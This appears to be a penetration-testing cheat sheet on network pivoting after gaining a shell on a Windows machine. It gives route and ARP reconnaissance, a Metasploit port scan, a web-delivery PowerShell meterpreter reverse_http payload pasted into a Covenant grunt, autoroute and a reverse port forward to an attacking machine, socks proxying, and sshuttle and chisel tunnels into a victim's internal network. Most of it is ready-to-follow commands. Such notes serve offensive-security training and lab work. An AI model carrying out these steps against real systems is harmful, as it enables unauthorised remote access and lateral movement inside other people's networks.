Check routes on a win machine

  • We need to see what other access has our target machine

  • route print

    C:\Windows\system32>route print
    route print
    Interface List
     12...08 00 27 ae c1 68 ......Intel(R) PRO/1000 MT Desktop Adapter
      1...........................Software Loopback Interface 1
    IPv4 Route Table
    Active Routes:
    Network Destination        Netmask          Gateway       Interface  Metric
            On-link    281
           On-link    281
          On-link    281
           On-link    331
           On-link    331         On-link    331
           On-link    331
           On-link    281         On-link    331         On-link    281
    Persistent Routes:
    IPv6 Route Table
    Active Routes:
     If Metric Network Destination      Gateway
      1    331 ::1/128                  On-link
     12    281 fe80::/64                On-link
     12    281 fe80::857:534f:3bb0:8fce/128
      1    331 ff00::/8                 On-link
     12    281 ff00::/8                 On-link
    Persistent Routes:
  • arp -a

    Interface: --- 0xc
    Internet Address      Physical Address      Type              08-00-27-35-94-d3     dynamic              08-00-27-fc-72-e9     dynamic              08-00-27-7f-90-90     dynamic              08-00-27-1d-d2-98     dynamic            ff-ff-ff-ff-ff-ff     static          52-54-00-12-35-00     dynamic            01-00-5e-00-00-16     static           01-00-5e-00-00-fb     static           01-00-5e-00-00-fc     static       01-00-5e-7f-ff-fa     static       ff-ff-ff-ff-ff-ff     static    
  • Now that we have other interesting IPs we can try to reach those new ones

  • We can make a port scan on one of these IPs

  • use auxiliary/scanner/portscan/tcp

  • set rhosts

  • set ports 445

  • run

    [+]             - - TCP OPEN
    [*]             - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    We could of course have set more ports and this would be a cool nmap like tool.

Reverse port forwarding and Session Passing with Metasploit having initial shell on Covenant

  • We can assume that we have a shell with covenant for instance

  • We generate a payload with metasploit through web delivery (more stealthy because it can pass as http traffic)

  • use exploit/multi/script/web_delivery

  • set target 2 (for powershell)

  • set payload windows/x64/meterpreter/reverse_http

  • set lhost to your attacking machine

  • sel an lport

  • exploit -j

  • Now we can copy the payload and paste to our grunt in Covenant

  • Metasploit should now have opened a session

  • We can choose an interface with ipconfig

  • run autoroute -s

  • We can check it's been done using run autoroute -p

  • We can now set up a reverse port forward

  • portfwd add -R -p 1234 -l 443 -L ATTACKING-MACHINE-IP

  • We can check it's been done using portfwd

  • we can background our session with CTRL-Z

  • We will setup a socks proxy use auxiliary/server/socks4a

  • We need to check our port in /etc/proxychains4.conf

  • set srvport 9050

  • we can check our jobs using jobs

  • We can kill the web delivery one that we do not need anymore jobs -k ID-OF-JOB

  • We now need to create a listener on covenant that will interact with the port forward set previously: 1 Reverse

  • BindAddress can stay at, BindPort should be 443, connectPort should be 1234 and connect address is the ip of our victime machine.

  • We should now be able to reach other machine in the network of the initial machine that has now route to our attacking machine using proxychains


Let's say you got shell on a machine and this machine has access local to another (let's call it machine 2). Shuttle will allow you to access machine 2 from your network and act as a proxy.

sshuttle --listen -e "ssh -i keyfile" -r user@IP-OF-YOUR-TARGET-MACHINE IP-OF-SUBNET-ACCESSIBLE-THROUGH-MACHINE2/24 -v
// example
sshuttle --listen -e "ssh -i key" -r root@ -v


  • If you have a shell on a machine that has a local port open you can forward this port to your machine using chisel, it is called port forwarding for instance in our example we want to forward to listen the port 445 of the target machine that is open locally. You will then be able to intract from your kali on your port 445:

- On my kali `chisel server --reverse` (it is going to listen on port 8080)
- On the target `.\chisel.exe client KALI-IP:8080 R:445:`

Pivoting with Chisel

  • From my kali chisel server --reverse

  • From the victim machine .\chisel.exe client IP-OF-KALI:8080 R:1080:socks

  • In your etc/proxychains4.conf add this line socks5 1080


Last updated